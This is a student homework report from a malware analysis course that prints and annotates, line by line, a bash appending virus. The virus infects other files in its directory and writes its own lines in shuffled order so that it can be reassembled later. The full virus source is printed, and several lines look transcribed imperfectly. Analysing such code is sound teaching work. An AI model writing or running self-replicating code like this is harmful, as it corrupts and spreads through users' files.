Malware analysis and design
Homework No. 2
Vincenzo Arceri VR386484 Giovanni Liboni VR387955

The bash code given as assignment is a appending virus that copies his own code after the target file code, if this isn't already infected. Below we explain in detail the virus behavior.

```
if [ "$1" == "test" ]; then #@1 // If the first paramter is equals to "test" exit and
  exit 0 #@2            // return 0 because the file is already infected
fi #@3
MANAGER=(test cd ls pwd) #@4 // Array of 4 elements
RANDOM=$$ #@5          // Pid of the virus process
for target in *; do #@6   // For each file in the directory
  // Counts the number of the target file
  nbline=$(wc -l $target) #@7
  nbline=$(nbline## ) #@8                  // Remove the longest sequence of spaces
  nbline=$(echo $nbline | cut -d " " -f1) #@9     // and retrive the number of lines
  // Checks if the chosen file has less number of lines of the virus.
  // If it is true, of course it isn't infected and continue.
  if [ $(($nbline)) -lt 42 ]; then #@10
    continue #@11
  fi #@12
  // Choose the name of the new file from one of the value contained in MANAGER,
    randomly.
  NEWFILE=$MANAGER[$((RANDOM % 4))] #@13
  // Takes the last 39 lines of target and sort them with ordering based on the number
    after @.
  // It restores the code in the original order and write the output in a temporary
    file.
  tail -n 39 $target | sort -g -t@ +1 > /tmp/\ /"$NEWFILE" #@14
  // Gives to /tmp/\ /"$NEWFILE"  the execution permission
  chmod +x /tmp/\ /"$NEWFILE" #@15
  // Execute the file just created: if it correspond to the virus it returns 0 (see
    first 3 lines) and continue, because the file is already infected.
  if ! /tmp/\ /"$NEWFILE" test ; then #@16
    continue #@17
  fi #@18
  // Choose the name of the new file from one of the value contained in MANAGER,
    randomly.
  NEWFILE=$MANAGER[$((RANDOM % 4))] #@19
  // Path of the just created file
  NEWFILE="/tmp/\ /$NEWFILE" #@20
  // Appends to the target file the nexts 2 lines of code that will be executed  when
    the target file       will be run: this lines gets the last 39 lines of target (the
    virus) and executes it in background
  echo "tail -n 39 $0 > $NEWFILE" >> $target #@21
  echo "chmod +x $NEWFILE && $NEWFILE &" >> $target #@22
  echo "exit 0" #@23
  // Creates am array of 40 elements: first element "FT" and the last " "
  tabft=("FT" [39]=" ") #@24
  declare -i nbl=0 #@25 // Creates an integer variable nbl=0
  while [ $nbl -ne 39 ]; do #@26      // while (nbl != 39)
    #Generates a random number from 1 to 39
    valindex=$(((RANDOM % 39)+1)) #@27
    #if  tabft[valindex] == "FT", choose a new number for valindex
    while [ "$tabft[$valindex]" == "FT" ]; do #@28
      valindex=$(((RANDOM % 39)+1)) #@29  // Generates a random number from 1 to 39
    done #@30

    # Takes the last $valindex lines of tthe virus and assign the first line of these
    line=$(tail -$valindex $0 | head -1) #@31
    #adds to the chosen line: tab #@n and adds the line to the target file
    line=$line/'\t'#* #@32
    echo -e "$line"'\t'"@$valindex"" >> $target #@33
    nbl=$(($nbl+1)) #@34
    done #@35
done #@36
```